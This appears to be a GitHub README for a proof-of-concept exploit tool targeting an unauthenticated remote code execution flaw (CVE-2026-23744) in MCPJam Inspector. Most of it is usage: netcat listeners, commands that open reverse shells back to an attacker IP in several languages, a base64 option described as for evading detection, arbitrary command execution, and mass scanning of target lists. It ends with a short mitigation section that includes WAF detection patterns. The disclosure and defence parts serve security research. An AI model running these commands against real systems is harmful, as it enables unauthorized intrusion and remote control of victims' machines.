cerberusmrxi/cve-2026-23744-mcpjam-exploit
A proof-of-concept exploit for CVE-2026-23744 - MCPJam Inspector Remote Code Execution (RCE) vulnerability. This tool demonstrates the security flaw in versions <=1.4.2 and helps security researchers verify patches. For authorized testing and educational purposes only. Includes multiple payload options, command execution, and session management.
This tool is for authorized security testing and educational purposes ONLY. Unauthorized use is illegal. Users assume all responsibility for their actions.
This repository contains a proof-of-concept exploit for CVE-2026-23744, an unauthenticated Remote Code Execution (RCE) vulnerability found in MCPJam Inspector versions <=1.4.2. The vulnerability has a critical CVSS score of 9.8, indicating a severe risk with a network attack vector.
| Attribute | Details |
|---|---|
| CVE ID | CVE-2026-23744 |
| Vulnerability | Unauthenticated Remote Code Execution |
| Affected Versions | <=1.4.2 |
| CVSS Score | 9.8 (Critical) |
| Attack Vector | Network |
The exploit tool offers a comprehensive set of features designed for effective security testing:
To set up the exploit tool, follow these steps:
Clone the repository:
git clone https://github.com/CerberusMrXi/CVE-2026-23744-MCPJam-RCE-Exploit.git
cd CVE-2026-23744-MCPJam-RCE-Exploit
Install dependencies:
pip install -r requirements.txt
To initiate a basic exploit, first set up a listener, then run the exploit script:
# Start listener
nc -lvnp 4444
# Run exploit
python exploit.py -u http://target-ip:8080 -l attacker-ip -p 4444
Execute single commands or commands from a file:
# Execute single command
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 -c "id; whoami"
# Execute commands from file
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 -C commands.txt
Utilize various payload types for different scenarios:
# Python reverse shell
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 -t python
# Netcat reverse shell
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 -t nc
# Base64 encoded payload
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 -t base64
Scan multiple targets for vulnerability:
# Create targets file
echo "http://192.168.1.10:8080" > targets.txt
echo "http://192.168.1.11:8080" >> targets.txt
# Scan for vulnerable targets
python exploit.py -f targets.txt -l 10.0.0.5 -p 4444 --scan
Explore advanced functionalities such as fingerprinting, proxy usage, verbose mode, and auto-listener setup:
# With fingerprinting
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 --fingerprint
# With proxy
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 --proxy http://127.0.0.1:8080
# Verbose mode
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 -v
# Auto-listener
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 --listen
| Type | Command | Best For |
|---|---|---|
bash | Bash reverse shell | Most Linux systems |
python | Python3 reverse shell | Python installed systems |
nc | Netcat reverse shell | Systems with netcat |
perl | Perl reverse shell | Perl installed systems |
php | PHP reverse shell | PHP installed systems |
base64 | Base64 encoded | Evading detection |
[+] Starting enhanced exploit against http://192.168.1.100:8080
[+] Reverse shell to 10.0.0.5:4444
[*] Session ID: AbCdEfGh
[*] Fingerprinting target...
[+] Target OS: Ubuntu
[+] Available capabilities: python3, perl, nc
[*] Executing exploit...
[+] Exploit successful!
[!] Check your netcat listener on 10.0.0.5:4444
To protect against CVE-2026-23744, it is crucial to take the following immediate actions:
POST requests to /api/mcp/connect.Example Nginx WAF rule to block common malicious patterns:
location /api/mcp/connect {
if ($request_body ~* "bash.*/dev/tcp") { return 403; }
if ($request_body ~* "base64.*-d") { return 403; }
proxy_pass http://backend;
}
Q: Is this legal to use?
A: This tool is only legal to use on systems you own or have explicit written permission to test.
Q: What systems are vulnerable?
A: MCPJam Inspector versions <=1.4.2 are vulnerable.
Q: How can I protect my systems?
A: Upgrade to MCPJam Inspector version >1.4.2 immediately.
Sudeepa Wanigarathna
Unauthorized use of this tool is illegal and can result in severe consequences, including:
Made with ❤️ by Sudeepa Wanigarathna